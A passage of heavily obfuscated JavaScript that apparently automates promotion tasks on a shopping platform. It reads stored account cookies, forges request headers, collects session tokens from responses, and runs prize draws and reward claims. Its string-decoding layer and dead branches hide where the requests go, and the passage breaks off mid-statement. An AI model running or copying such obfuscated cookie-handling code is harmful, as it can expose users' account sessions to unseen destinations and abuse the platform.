_0x13ac99='';if($[_0x4291('16f')])_0x13ac99=_0x4291('235')+$[_0x4291('16f')];return{'url':_0x4291('236')+_0x190476+_0x4291('237')+_0x190476+_0x4291('238')+_0x13ac99+_0x4291('239'),'headers':{'Content-Type':_0x5c75c4[_0x4291('23a')],'Origin':_0x5c75c4[_0x4291('23b')],'Host':_0x5c75c4[_0x4291('23c')],'accept':_0x5c75c4[_0x4291('23d')],'User-Agent':$['UA'],'content-type':_0x5c75c4[_0x4291('23e')],'Referer':_0x4291('20c')+_0x190476+_0x4291('20d')+_0x190476+_0x4291('20e')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'Cookie':cookie}};}function startDraw(_0x495aae){var _0x36816d={'rHwiF':_0x4291('18'),'JOmGS':function(_0x277bef,_0x5e842c){return _0x277bef!==_0x5e842c;},'jJwui':_0x4291('23f'),'cHuOH':_0x4291('240'),'smNuJ':function(_0x8108b0,_0x38a3c7){return _0x8108b0==_0x38a3c7;},'eHYtk':_0x4291('60'),'oAuHu':function(_0x3f30ba,_0x3c4198){return _0x3f30ba===_0x3c4198;},'bAOsL':_0x4291('241'),'NJJbf':_0x4291('242'),'utbWa':_0x4291('177'),'iYROo':_0x4291('243'),'XvJqh':_0x4291('244'),'RXbiK':function(_0x531a74,_0x4eda64){return _0x531a74===_0x4eda64;},'epzRp':_0x4291('245'),'LTtkV':_0x4291('246'),'sztHC':function(_0x168162){return _0x168162();},'whMjv':_0x4291('247'),'uSVyT':_0x4291('248'),'hfnpa':function(_0x4abc39,_0x1f67e){return _0x4abc39(_0x1f67e);},'XdBAo':function(_0x14724b,_0x2ff41c,_0x191a1){return _0x14724b(_0x2ff41c,_0x191a1);},'eqEKz':_0x4291('249')};return new Promise(_0x3f915e=>{var _0x56f074={'zSMYF':function(_0x112e00,_0x37ee7c){return _0x36816d[_0x4291('24a')](_0x112e00,_0x37ee7c);}};if(_0x36816d[_0x4291('24b')](_0x36816d[_0x4291('24c')],_0x36816d[_0x4291('24d')])){console[_0x4291('a')](data);}else{let _0x286476=_0x4291('106')+$[_0x4291('40')]+_0x4291('107')+$[_0x4291('52')]+_0x4291('108')+_0x36816d[_0x4291('24e')](encodeURIComponent,$[_0x4291('74')])+_0x4291('24f')+_0x495aae;$[_0x4291('10b')](_0x36816d[_0x4291('250')](taskPostUrl,_0x36816d[_0x4291('251')],_0x286476),async(_0xbf16f3,_0x388eab,_0x3fce7a)=>{var _0xb2133d={'dIHwT':_0x36816d[_0x4291('252')]};try{if(_0xbf16f3){console[_0x4291('a')](''+$[_0x4291('58')](_0xbf16f3));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{if(_0x36816d[_0x4291('253')](_0x36816d[_0x4291('254')],_0x36816d[_0x4291('255')])){res=$[_0x4291('d1')](_0x3fce7a);if(_0x36816d[_0x4291('24a')](typeof res,_0x36816d[_0x4291('256')])){if(_0x36816d[_0x4291('257')](_0x36816d[_0x4291('258')],_0x36816d[_0x4291('259')])){console[_0x4291('a')](''+(res[_0x4291('d5')]||''));}else{if(_0x36816d[_0x4291('257')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){console[_0x4291('a')](_0x4291('25a')+(res[_0x4291('30')][_0x4291('25b')]&&res[_0x4291('30')][_0x4291('2c')]||_0x36816d[_0x4291('25c')]));}else if(_0x36816d[_0x4291('24a')](typeof res,_0x36816d[_0x4291('256')])&&res[_0x4291('9a')]){if(_0x36816d[_0x4291('257')](_0x36816d[_0x4291('25d')],_0x36816d[_0x4291('25e')])){console[_0x4291('a')](_0x3fce7a);}else{console[_0x4291('a')](_0x4291('25f')+(res[_0x4291('9a')]||''));}}else{if(_0x36816d[_0x4291('24b')](_0x36816d[_0x4291('260')],_0x36816d[_0x4291('260')])){console[_0x4291('a')](_0x3fce7a);}else{_0x3fce7a=JSON[_0x4291('1f1')](_0x3fce7a);if(_0x56f074[_0x4291('261')](_0x3fce7a[_0x4291('1f2')],!![])){$[_0x4291('16f')]=_0x3fce7a[_0x4291('ab')][_0x4291('170')]&&_0x3fce7a[_0x4291('ab')][_0x4291('170')][0x0]&&_0x3fce7a[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')]&&_0x3fce7a[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')][_0x4291('40')]||'';}}}}}else{if(_0x36816d[_0x4291('253')](_0x36816d[_0x4291('262')],_0x36816d[_0x4291('262')])){console[_0x4291('a')](_0x4291('1a4')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x3fce7a);}}}else{console[_0x4291('a')](_0xb2133d[_0x4291('263')]);return;}}}catch(_0x3bc23b){$[_0x4291('5b')](_0x3bc23b,_0x388eab);}finally{_0x36816d[_0x4291('264')](_0x3f915e);}});}});}function checkOpenCard(){var _0x524581={'wpldm':function(_0x549efb,_0x50fab3){return _0x549efb!=_0x50fab3;},'Ogisc':_0x4291('60'),'iqjbu':function(_0x1f8d2c,_0x2f8802){return _0x1f8d2c>_0x2f8802;},'VqHww':_0x4291('5e'),'klGaG':function(_0x3552ae,_0x198f01){return _0x3552ae+_0x198f01;},'vTBds':_0x4291('5f'),'CjEkj':function(_0x119f98,_0x3d7290){return _0x119f98!==_0x3d7290;},'ayLIr':_0x4291('265'),'YhgpV':function(_0x59bf66,_0x2d9dad){return _0x59bf66===_0x2d9dad;},'dvbtq':_0x4291('266'),'cvSgm':_0x4291('267'),'LLbmA':function(_0x1966b6,_0x44deb3){return _0x1966b6!==_0x44deb3;},'OiPIZ':_0x4291('268'),'mrYgZ':_0x4291('269'),'hlyqL':function(_0x10f8c7,_0x924731){return _0x10f8c7(_0x924731);},'NgWjP':_0x4291('138'),'bIPMc':_0x4291('26a'),'UAjQf':_0x4291('26b'),'DRELu':function(_0x2eee98,_0x4d9a91){return _0x2eee98(_0x4d9a91);},'rlMnT':function(_0xd0e62e,_0x43f112,_0x3742ef){return _0xd0e62e(_0x43f112,_0x3742ef);},'Aadsr':_0x4291('26c')};return new Promise(_0xba1438=>{var _0x486387={'GfuUH':function(_0x2248df,_0x469f6a){return _0x524581[_0x4291('26d')](_0x2248df,_0x469f6a);},'TOtLb':_0x524581[_0x4291('26e')],'tJhOu':function(_0x4df7f4,_0x33a4c8){return _0x524581[_0x4291('26f')](_0x4df7f4,_0x33a4c8);},'QbkYK':_0x524581[_0x4291('270')],'DXvUo':_0x524581[_0x4291('271')]};if(_0x524581[_0x4291('272')](_0x524581[_0x4291('273')],_0x524581[_0x4291('274')])){if(_0x486387[_0x4291('275')](name[_0x4291('89')](_0x486387[_0x4291('276')]),-0x1))lz_jdpin_token=_0x486387[_0x4291('277')](name[_0x4291('57')](/ /g,''),';');if(_0x486387[_0x4291('275')](name[_0x4291('89')](_0x486387[_0x4291('278')]),-0x1))LZ_TOKEN_KEY=_0x486387[_0x4291('277')](name[_0x4291('57')](/ /g,''),';');if(_0x486387[_0x4291('275')](name[_0x4291('89')](_0x486387[_0x4291('279')]),-0x1))LZ_TOKEN_VALUE=_0x486387[_0x4291('277')](name[_0x4291('57')](/ /g,''),';');}else{let _0x4d3377=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x524581[_0x4291('27a')](encodeURIComponent,$[_0x4291('74')])+_0x4291('107')+$[_0x4291('52')]+_0x4291('43')+$[_0x4291('3e')];$[_0x4291('10b')](_0x524581[_0x4291('27b')](taskPostUrl,_0x524581[_0x4291('27c')],_0x4d3377),async(_0x10c314,_0x26d192,_0x20b4de)=>{var _0x331556={'cpkwS':function(_0x392619,_0x34e5b7){return _0x524581[_0x4291('27d')](_0x392619,_0x34e5b7);},'MCBWk':_0x524581[_0x4291('27e')],'icXER':function(_0x5253c1,_0x26eaad){return _0x524581[_0x4291('26d')](_0x5253c1,_0x26eaad);},'qzNvB':_0x524581[_0x4291('270')],'trNDB':function(_0x34fa3f,_0x2b57ef){return _0x524581[_0x4291('26f')](_0x34fa3f,_0x2b57ef);},'ibIGJ':_0x524581[_0x4291('271')]};try{if(_0x524581[_0x4291('27f')](_0x524581[_0x4291('280')],_0x524581[_0x4291('280')])){console[_0x4291('a')](''+$[_0x4291('58')](_0x10c314));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{if(_0x10c314){console[_0x4291('a')](''+$[_0x4291('58')](_0x10c314));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{if(_0x524581[_0x4291('272')](_0x524581[_0x4291('281')],_0x524581[_0x4291('282')])){console[_0x4291('a')](''+$[_0x4291('58')](_0x10c314));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{res=$[_0x4291('d1')](_0x20b4de);if(_0x524581[_0x4291('283')](typeof res,_0x524581[_0x4291('27e')])){console[_0x4291('a')](_0x20b4de);}}}}}catch(_0x35ff05){if(_0x524581[_0x4291('272')](_0x524581[_0x4291('284')],_0x524581[_0x4291('284')])){$[_0x4291('5b')](_0x35ff05,_0x26d192);}else{$[_0x4291('5b')](_0x35ff05,_0x26d192);}}finally{if(_0x524581[_0x4291('272')](_0x524581[_0x4291('285')],_0x524581[_0x4291('285')])){_0x524581[_0x4291('286')](_0xba1438,res&&res[_0x4291('30')]||'');}else{if(_0x331556[_0x4291('287')](typeof setcookies,_0x331556[_0x4291('288')])){setcookie=setcookies[_0x4291('7c')](',');}else setcookie=setcookies;for(let _0x1e33be of setcookie){let _0x45b904=_0x1e33be[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x45b904[_0x4291('7c')]('=')[0x1]){if(_0x331556[_0x4291('289')](_0x45b904[_0x4291('89')](_0x331556[_0x4291('28a')]),-0x1))LZ_TOKEN_KEY=_0x331556[_0x4291('28b')](_0x45b904[_0x4291('57')](/ /g,''),';');if(_0x331556[_0x4291('289')](_0x45b904[_0x4291('89')](_0x331556[_0x4291('28c')]),-0x1))LZ_TOKEN_VALUE=_0x331556[_0x4291('28b')](_0x45b904[_0x4291('57')](/ /g,''),';');}}}}});}});}function drawContent(){var _0x2d7e6f={'cbUfe':function(_0x29e965,_0x4ea5e5){return _0x29e965!==_0x4ea5e5;},'XuwCv':_0x4291('28d'),'ICtAq':function(_0x231a82){return _0x231a82();},'ciWDf':function(_0x2b431d,_0x5de07f){return _0x2b431d===_0x5de07f;},'nmXTx':_0x4291('9'),'oeUlc':_0x4291('28e'),'bzcXQ':_0x4291('28f'),'DNolb':function(_0x3d1c32,_0x515a87){return _0x3d1c32(_0x515a87);},'yzxyP':function(_0x20279e,_0x3f5f12,_0x521166){return _0x20279e(_0x3f5f12,_0x521166);},'qahiq':_0x4291('290')};return new Promise(_0x29b8fa=>{var _0x190d81={'lMVHe':function(_0x44d4fb,_0x508dd8){return _0x2d7e6f[_0x4291('291')](_0x44d4fb,_0x508dd8);},'BuBnh':_0x2d7e6f[_0x4291('292')]};if(_0x2d7e6f[_0x4291('293')](_0x2d7e6f[_0x4291('294')],_0x2d7e6f[_0x4291('295')])){let _0x5281f8=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x2d7e6f[_0x4291('296')](encodeURIComponent,$[_0x4291('74')]);$[_0x4291('10b')](_0x2d7e6f[_0x4291('297')](taskPostUrl,_0x2d7e6f[_0x4291('298')],_0x5281f8),async(_0x44997e,_0x21e175,_0x794812)=>{try{if(_0x2d7e6f[_0x4291('293')](_0x2d7e6f[_0x4291('299')],_0x2d7e6f[_0x4291('299')])){msg=res[_0x4291('30')][_0x4291('1a0')]+'京豆';}else{if(_0x44997e){console[_0x4291('a')](''+$[_0x4291('58')](_0x44997e));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{}}}catch(_0xb66cb1){$[_0x4291('5b')](_0xb66cb1,_0x21e175);}finally{_0x2d7e6f[_0x4291('29a')](_0x29b8fa);}});}else{Object[_0x4291('4')](jdCookieNode)[_0x4291('5')](_0x46a798=>{cookiesArr[_0x4291('6')](jdCookieNode[_0x46a798]);});if(process[_0x4291('7')][_0x4291('8')]&&_0x190d81[_0x4291('29b')](process[_0x4291('7')][_0x4291('8')],_0x190d81[_0x4291('29c')]))console[_0x4291('a')]=()=>{};}});}function getActorUuid(){var _0x1926f5={'ROVrf':function(_0x49c5ee,_0x4eb691){return _0x49c5ee>_0x4eb691;},'NvTED':_0x4291('5e'),'BcDYJ':function(_0x3d4e5a,_0x52a3f9){return _0x3d4e5a+_0x52a3f9;},'cSxMk':function(_0x4dd092,_0x2d8370){return _0x4dd092>_0x2d8370;},'YMrBF':_0x4291('5f'),'TZLLs':function(_0x561a1d,_0x7af4c2){return _0x561a1d!=_0x7af4c2;},'MiiLp':_0x4291('17'),'QjWfY':function(_0x1c6161,_0xd20346){return _0x1c6161===_0xd20346;},'LbPLY':_0x4291('29d'),'iTuRX':_0x4291('29e'),'JCQPw':function(_0xaa6b3f,_0x397c3b){return _0xaa6b3f==_0x397c3b;},'STaAl':_0x4291('18'),'VLAjx':_0x4291('60'),'ELgEs':_0x4291('29f'),'lHdAs':_0x4291('2a0'),'nStVA':function(_0x587982,_0x11b212){return _0x587982!==_0x11b212;},'WqqBG':_0x4291('2a1'),'AjPVu':_0x4291('2a2'),'XbFef':function(_0x2368de){return _0x2368de();},'JySVK':function(_0x42a5f2,_0x39c091){return _0x42a5f2(_0x39c091);},'txBXY':function(_0x5446c5,_0x37726a){return _0x5446c5(_0x37726a);},'HiNVU':function(_0x2cbe51,_0x533ebe,_0x2146bd){return _0x2cbe51(_0x533ebe,_0x2146bd);},'uizPF':_0x4291('2a3')};return new Promise(_0x1462fc=>{var _0x46f2bc={'bETtZ':function(_0x4a7379,_0x1dc5db){return _0x1926f5[_0x4291('2a4')](_0x4a7379,_0x1dc5db);},'OEIEN':_0x1926f5[_0x4291('2a5')],'GHjar':function(_0x176c08,_0x4a13ff){return _0x1926f5[_0x4291('2a6')](_0x176c08,_0x4a13ff);},'GESXq':function(_0xaefc93,_0x4dd6a6){return _0x1926f5[_0x4291('2a7')](_0xaefc93,_0x4dd6a6);},'VXtCW':_0x1926f5[_0x4291('2a8')],'GhvnQ':function(_0x125cc3,_0x289d2c){return _0x1926f5[_0x4291('2a9')](_0x125cc3,_0x289d2c);},'GHkvD':_0x1926f5[_0x4291('2aa')],'xzOHq':function(_0x1ed5fa,_0xa16c66){return _0x1926f5[_0x4291('2ab')](_0x1ed5fa,_0xa16c66);},'ZLVaY':_0x1926f5[_0x4291('2ac')],'pqwtz':_0x1926f5[_0x4291('2ad')],'PIptz':function(_0x5b19c6,_0x25f81b){return _0x1926f5[_0x4291('2ae')](_0x5b19c6,_0x25f81b);},'KPFBX':_0x1926f5[_0x4291('2af')],'aCzBY':_0x1926f5[_0x4291('2b0')],'wggXW':function(_0x5bfc9d,_0xa6c3d9){return _0x1926f5[_0x4291('2ae')](_0x5bfc9d,_0xa6c3d9);},'JmavZ':_0x1926f5[_0x4291('2b1')],'Gdope':_0x1926f5[_0x4291('2b2')],'byWqO':function(_0x56ec21,_0x3a62b5){return _0x1926f5[_0x4291('2b3')](_0x56ec21,_0x3a62b5);},'lyQWC':_0x1926f5[_0x4291('2b4')],'ABxFu':_0x1926f5[_0x4291('2b5')],'jSfVu':function(_0x1634ad){return _0x1926f5[_0x4291('2b6')](_0x1634ad);}};let _0x149083=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x1926f5[_0x4291('2b7')](encodeURIComponent,$[_0x4291('74')])+_0x4291('2b8')+_0x1926f5[_0x4291('2b9')](encodeURIComponent,$[_0x4291('8f')])+_0x4291('2ba')+_0x1926f5[_0x4291('2b9')](encodeURIComponent,$[_0x4291('80')])+_0x4291('2bb')+$[_0x4291('3e')];$[_0x4291('10b')](_0x1926f5[_0x4291('2bc')](taskPostUrl,_0x1926f5[_0x4291('2bd')],_0x149083),async(_0x3194b3,_0x3610e3,_0x412b0e)=>{var _0x4c2203={'lRywS':function(_0x149432,_0x5e7492){return _0x46f2bc[_0x4291('2be')](_0x149432,_0x5e7492);},'VqsTu':_0x46f2bc[_0x4291('2bf')]};if(_0x46f2bc[_0x4291('2c0')](_0x46f2bc[_0x4291('2c1')],_0x46f2bc[_0x4291('2c2')])){console[_0x4291('a')](_0x412b0e);}else{try{if(_0x3194b3){if(_0x3610e3[_0x4291('118')]&&_0x46f2bc[_0x4291('2c3')](_0x3610e3[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x46f2bc[_0x4291('2c4')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x3194b3));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{res=$[_0x4291('d1')](_0x412b0e);if(_0x46f2bc[_0x4291('2c3')](typeof res,_0x46f2bc[_0x4291('2c5')])&&res[_0x4291('ab')]&&_0x46f2bc[_0x4291('2c0')](res[_0x4291('ab')],!![])){if(_0x46f2bc[_0x4291('2be')](typeof res[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')],_0x46f2bc[_0x4291('2bf')]))$[_0x4291('bb')]=res[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')];if(_0x46f2bc[_0x4291('2be')](typeof res[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')],_0x46f2bc[_0x4291('2bf')]))$[_0x4291('c0')]=res[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')];if(_0x46f2bc[_0x4291('2be')](typeof res[_0x4291('30')][_0x4291('52')],_0x46f2bc[_0x4291('2bf')]))$[_0x4291('52')]=res[_0x4291('30')][_0x4291('52')];}else if(_0x46f2bc[_0x4291('2c7')](typeof res,_0x46f2bc[_0x4291('2c5')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('1f9')+(res[_0x4291('9a')]||''));}else{if(_0x46f2bc[_0x4291('2c0')](_0x46f2bc[_0x4291('2c8')],_0x46f2bc[_0x4291('2c9')])){console[_0x4291('a')](_0x4291('2ca')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x412b0e);}}}}catch(_0x4ea866){if(_0x46f2bc[_0x4291('2cb')](_0x46f2bc[_0x4291('2cc')],_0x46f2bc[_0x4291('2cc')])){if(_0x46f2bc[_0x4291('2cd')](name[_0x4291('89')](_0x46f2bc[_0x4291('2ce')]),-0x1))LZ_TOKEN_KEY=_0x46f2bc[_0x4291('2cf')](name[_0x4291('57')](/ /g,''),';');if(_0x46f2bc[_0x4291('2d0')](name[_0x4291('89')](_0x46f2bc[_0x4291('2d1')]),-0x1))LZ_TOKEN_VALUE=_0x46f2bc[_0x4291('2cf')](name[_0x4291('57')](/ /g,''),';');}else{$[_0x4291('5b')](_0x4ea866,_0x3610e3);}}finally{if(_0x46f2bc[_0x4291('2cb')](_0x46f2bc[_0x4291('2d2')],_0x46f2bc[_0x4291('2d2')])){if(res[_0x4291('30')]&&_0x4c2203[_0x4291('2d3')](typeof res[_0x4291('30')][_0x4291('2d4')],_0x4c2203[_0x4291('2d5')]))$[_0x4291('74')]=res[_0x4291('30')][_0x4291('2d4')];if(res[_0x4291('30')]&&_0x4c2203[_0x4291('2d3')](typeof res[_0x4291('30')][_0x4291('80')],_0x4c2203[_0x4291('2d5')]))$[_0x4291('80')]=res[_0x4291('30')][_0x4291('80')];}else{_0x46f2bc[_0x4291('2d6')](_0x1462fc);}}}});});}function getUserInfo(){var _0x36af39={'DKirw':_0x4291('18'),'VRHXk':function(_0x324ec3){return _0x324ec3();},'eXwBe':function(_0x409943,_0x85198e){return _0x409943===_0x85198e;},'gPsQr':_0x4291('2d7'),'MJwjz':_0x4291('2d8'),'UpeNP':function(_0x5cbb7a,_0x44ffc9){return _0x5cbb7a!==_0x44ffc9;},'wmtsW':_0x4291('2d9'),'wNPQn':function(_0x8689d2,_0x3f3b9a){return _0x8689d2==_0x3f3b9a;},'PIYDh':_0x4291('60'),'tNILx':_0x4291('2da'),'xoLXr':_0x4291('2db'),'qqPvU':function(_0x33bd8b,_0x35a900){return _0x33bd8b!=_0x35a900;},'itieF':_0x4291('17'),'LoCVA':_0x4291('67'),'bliIv':function(_0x418042,_0xc8481c){return _0x418042==_0xc8481c;},'nRTgf':_0x4291('2dc'),'foqms':_0x4291('2dd'),'lQBTy':function(_0x36f12b,_0x3234c3){return _0x36f12b(_0x3234c3);},'NnIMT':function(_0x11fd10,_0x3baa9d,_0x480e45){return _0x11fd10(_0x3baa9d,_0x480e45);},'UojCk':_0x4291('2de')};return new Promise(_0x44f0f9=>{var _0x5cdb2c={'piVwD':_0x36af39[_0x4291('2df')],'wZkpi':function(_0x152bbc){return _0x36af39[_0x4291('2e0')](_0x152bbc);},'WhUBE':function(_0x531a9c,_0x57c153){return _0x36af39[_0x4291('2e1')](_0x531a9c,_0x57c153);},'ZxlmY':_0x36af39[_0x4291('2e2')],'UqUtg':_0x36af39[_0x4291('2e3')],'cSEOU':function(_0x48d3b8,_0x4672f9){return _0x36af39[_0x4291('2e4')](_0x48d3b8,_0x4672f9);},'Kgyqn':_0x36af39[_0x4291('2e5')],'Fkxjb':function(_0x20db41,_0x2a5eed){return _0x36af39[_0x4291('2e6')](_0x20db41,_0x2a5eed);},'eelki':_0x36af39[_0x4291('2e7')],'QGjUa':_0x36af39[_0x4291('2e8')],'CJnpU':_0x36af39[_0x4291('2e9')],'QFZpn':function(_0x472ee4,_0x35574d){return _0x36af39[_0x4291('2ea')](_0x472ee4,_0x35574d);},'cKued':_0x36af39[_0x4291('2eb')],'omzmd':_0x36af39[_0x4291('2ec')],'HxEcH':function(_0x538735,_0x1d9c9f){return _0x36af39[_0x4291('2ed')](_0x538735,_0x1d9c9f);},'EYUfK':_0x36af39[_0x4291('2ee')],'Djpda':_0x36af39[_0x4291('2ef')]};let _0xbe3515=_0x4291('2f0')+_0x36af39[_0x4291('2f1')](encodeURIComponent,$[_0x4291('74')]);$[_0x4291('10b')](_0x36af39[_0x4291('2f2')](taskPostUrl,_0x36af39[_0x4291('2f3')],_0xbe3515),async(_0x32575a,_0x407063,_0x5e12d0)=>{var _0x131680={'muaOw':function(_0x1befa3){return _0x5cdb2c[_0x4291('2f4')](_0x1befa3);},'IZooR':_0x5cdb2c[_0x4291('2f5')]};if(_0x5cdb2c[_0x4291('2f6')](_0x5cdb2c[_0x4291('2f7')],_0x5cdb2c[_0x4291('2f8')])){_0x131680[_0x4291('2f9')](_0x44f0f9);}else{try{if(_0x32575a){console[_0x4291('a')](''+$[_0x4291('58')](_0x32575a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('230'));}else{if(_0x5cdb2c[_0x4291('2fa')](_0x5cdb2c[_0x4291('2fb')],_0x5cdb2c[_0x4291('2fb')])){console[_0x4291('a')](_0x131680[_0x4291('2fc')]);$[_0x4291('16')]=!![];}else{res=$[_0x4291('d1')](_0x5e12d0);if(_0x5cdb2c[_0x4291('2fd')](typeof res,_0x5cdb2c[_0x4291('2fe')])&&res[_0x4291('ab')]&&_0x5cdb2c[_0x4291('2f6')](res[_0x4291('ab')],!![])){if(_0x5cdb2c[_0x4291('2f6')](_0x5cdb2c[_0x4291('2ff')],_0x5cdb2c[_0x4291('300')])){console[_0x4291('a')](''+$[_0x4291('58')](_0x32575a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('301'));}else{if(res[_0x4291('30')]&&_0x5cdb2c[_0x4291('302')](typeof res[_0x4291('30')][_0x4291('303')],_0x5cdb2c[_0x4291('304')]))$[_0x4291('8f')]=res[_0x4291('30')][_0x4291('303')]||_0x5cdb2c[_0x4291('305')];}}else if(_0x5cdb2c[_0x4291('306')](typeof res,_0x5cdb2c[_0x4291('2fe')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('2ca')+(res[_0x4291('9a')]||''));}else{if(_0x5cdb2c[_0x4291('2f6')](_0x5cdb2c[_0x4291('307')],_0x5cdb2c[_0x4291('308')])){console[_0x4291('a')](_0x5cdb2c[_0x4291('2f5')]);$[_0x4291('16')]=!![];}else{console[_0x4291('a')](_0x5e12d0);}}}}}catch(_0x5ee42f){$[_0x4291('5b')](_0x5ee42f,_0x407063);}finally{_0x5cdb2c[_0x4291('2f4')](_0x44f0f9);}}});});}function accessLogWithAD(){var _0x42622e={'puRMk':_0x4291('1e1'),'bfSMi':_0x4291('22'),'kaTXx':_0x4291('309'),'mbGRM':_0x4291('30a'),'eNTPq':_0x4291('30b'),'URnMJ':function(_0x15f4c7,_0x37e1d0){return _0x15f4c7*_0x37e1d0;},'JBllq':_0x4291('30c'),'yDDgu':_0x4291('30d'),'yWbPE':_0x4291('30e'),'RNkDz':function(_0x40c66f,_0x119765){return _0x40c66f!==_0x119765;},'yCrtg':_0x4291('30f'),'pvKYL':_0x4291('310'),'OpwQo':function(_0x5b0871,_0x10e2a8){return _0x5b0871!=_0x10e2a8;},'BlnqW':_0x4291('60'),'zsAVl':function(_0x2563a5,_0x196b9e){return _0x2563a5>_0x196b9e;},'JANgo':_0x4291('5e'),'enSIr':function(_0x5695a3,_0xddbe39){return _0x5695a3+_0xddbe39;},'thljk':function(_0x39958f,_0x69b5a9){return _0x39958f>_0x69b5a9;},'lbFpN':_0x4291('5f'),'iWcPr':function(_0x1250dc,_0x4f1a3d){return _0x1250dc&&_0x4f1a3d;},'BfAke':function(_0x3eea53,_0x186366){return _0x3eea53!==_0x186366;},'bgmHf':_0x4291('311'),'UiRln':_0x4291('312'),'ZEfmd':function(_0x46a605,_0x35b0f4){return _0x46a605===_0x35b0f4;},'ugMVm':_0x4291('313'),'lxAji':function(_0x30fa9d){return _0x30fa9d();},'JnyQq':function(_0x1544f9,_0x5ae67e){return _0x1544f9!==_0x5ae67e;},'cZiSm':_0x4291('314'),'IsaTa':_0x4291('315'),'Ssmiw':function(_0x23d9f7,_0x5b4c95){return _0x23d9f7(_0x5b4c95);},'HquxP':function(_0x299aed,_0xec4690,_0x277a41){return _0x299aed(_0xec4690,_0x277a41);},'PUZQB':_0x4291('316')};return new Promise(_0x250907=>{var _0x1586af={'urljA':_0x42622e[_0x4291('317')],'Kgkyq':_0x42622e[_0x4291('318')],'sXVJD':_0x42622e[_0x4291('319')],'nxXIn':_0x42622e[_0x4291('31a')],'SXveq':_0x42622e[_0x4291('31b')],'ByYeS':function(_0x3aa85f,_0x472507){return _0x42622e[_0x4291('31c')](_0x3aa85f,_0x472507);},'EbpyA':_0x42622e[_0x4291('31d')],'prWgA':_0x42622e[_0x4291('31e')],'qAmJr':_0x42622e[_0x4291('31f')],'SbExV':function(_0x403d3b,_0x2a204d){return _0x42622e[_0x4291('320')](_0x403d3b,_0x2a204d);},'KvZOb':_0x42622e[_0x4291('321')],'MJpEr':_0x42622e[_0x4291('322')],'mjeOF':function(_0x132dfd,_0x15571c){return _0x42622e[_0x4291('323')](_0x132dfd,_0x15571c);},'dAOTm':_0x42622e[_0x4291('324')],'XpeLD':function(_0x24850a,_0x10f210){return _0x42622e[_0x4291('325')](_0x24850a,_0x10f210);},'lIcdx':_0x42622e[_0x4291('326')],'GsQBx':function(_0x4f0d3d,_0x2a27f4){return _0x42622e[_0x4291('327')](_0x4f0d3d,_0x2a27f4);},'qaRmq':function(_0x3485c0,_0x87ac22){return _0x42622e[_0x4291('328')](_0x3485c0,_0x87ac22);},'wcVcE':_0x42622e[_0x4291('329')],'KPNss':function(_0x4e1d75,_0x133945){return _0x42622e[_0x4291('327')](_0x4e1d75,_0x133945);},'ctbvQ':function(_0x51ba85,_0x29a118){return _0x42622e[_0x4291('32a')](_0x51ba85,_0x29a118);},'nplGD':function(_0x323546,_0x1ede7a){return _0x42622e[_0x4291('32b')](_0x323546,_0x1ede7a);},'KcEDT':_0x42622e[_0x4291('32c')],'dafSi':_0x42622e[_0x4291('32d')],'MffmD':function(_0x2e7d4e,_0x506f76){return _0x42622e[_0x4291('32e')](_0x2e7d4e,_0x506f76);},'npfPo':_0x42622e[_0x4291('32f')],'SbbiF':function(_0x44c631){return _0x42622e[_0x4291('330')](_0x44c631);}};if(_0x42622e[_0x4291('331')](_0x42622e[_0x4291('332')],_0x42622e[_0x4291('333')])){let _0x3b1c72=_0x4291('334')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')];let _0x360352=_0x4291('335')+($[_0x4291('31')]||$[_0x4291('33')])+_0x4291('336')+_0x42622e[_0x4291('337')](encodeURIComponent,$[_0x4291('74')])+_0x4291('338')+$[_0x4291('40')]+_0x4291('339')+_0x42622e[_0x4291('337')](encodeURIComponent,_0x3b1c72)+_0x4291('33a');$[_0x4291('10b')](_0x42622e[_0x4291('33b')](taskPostUrl,_0x42622e[_0x4291('33c')],_0x360352),async(_0x4412ca,_0x286f8e,_0x2c882d)=>{var _0x5e4683={'bdtoF':_0x1586af[_0x4291('33d')],'HLIEk':_0x1586af[_0x4291('33e')],'vcEYQ':_0x1586af[_0x4291('33f')],'lFOww':_0x1586af[_0x4291('340')],'KKNHu':_0x1586af[_0x4291('341')],'otiVc':function(_0x505f1a,_0x437d6d){return _0x1586af[_0x4291('342')](_0x505f1a,_0x437d6d);}};try{if(_0x4412ca){console[_0x4291('a')](''+$[_0x4291('58')](_0x4412ca));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{let _0x103f9f='';let _0x1baa1e='';let _0xa74969=_0x286f8e[_0x1586af[_0x4291('343')]][_0x1586af[_0x4291('344')]]||_0x286f8e[_0x1586af[_0x4291('343')]][_0x1586af[_0x4291('345')]]||'';let _0x2653fc='';if(_0xa74969){if(_0x1586af[_0x4291('346')](_0x1586af[_0x4291('347')],_0x1586af[_0x4291('348')])){if(_0x1586af[_0x4291('349')](typeof _0xa74969,_0x1586af[_0x4291('34a')])){_0x2653fc=_0xa74969[_0x4291('7c')](',');}else _0x2653fc=_0xa74969;for(let _0x1446ff of _0x2653fc){let 